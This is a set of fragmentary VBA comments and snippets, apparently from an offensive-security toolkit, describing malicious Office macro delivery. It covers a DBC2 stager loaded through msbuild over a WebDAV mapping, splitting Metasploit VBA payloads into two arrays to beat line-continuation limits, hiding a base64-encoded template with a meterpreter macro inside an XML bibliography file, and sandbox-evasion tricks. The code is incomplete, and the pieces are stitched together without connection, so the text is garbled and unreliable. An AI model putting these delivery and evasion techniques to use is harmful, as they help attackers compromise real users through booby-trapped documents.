' Example of DBC2 msbuild.xml stager delivery through a webdav maping
' The stager file (msbuild.xml) can be generated from the DBC2 controller
'
' NOTE:
' msbuild.exe is supposed to accept a path straight from a webdav server (ex: msbuild.exe \\webdav_server\msbuild.xml)
' but it fails miserably for me, so I have to have to first map the drive...

' Sometimes, after generating a metasploit payload with vba output format, you get a payload which is too long
' for the vba line continuation limit (24 line continuation max)
' So you have to split the payload in two arrays, then merge them again.
'
' This snippet shows the simple trick

Dim PayloadPart1, PayloadPart2, Final As Variant

PayloadPart1 =  Array ( whatever metasploit first part payload with line _
  continuation _

' This macro downloads an XML bibliography source file.
' The <Title> element of this XML file actually contains a base64 encoded MSOffice template
' which itself contains another malicious macro much more detectable (meterpreter for instance).
' 
' The base64 encoded file (payload) is extracted from the XML file, decoded and saved on the temporary folder
' Only then, an new Office Word object is instantiated to load this Office Template and run a specific macro from it.
'
' This macro makes use of very basic tricks to evade potential sandbox analysis, such as popup windows, check of local printers

' This is a deobfuscated view of the 'vba-exe' output format of metasploit payload

' This macro searches for a marker paragraph, namely "marker" in the example below
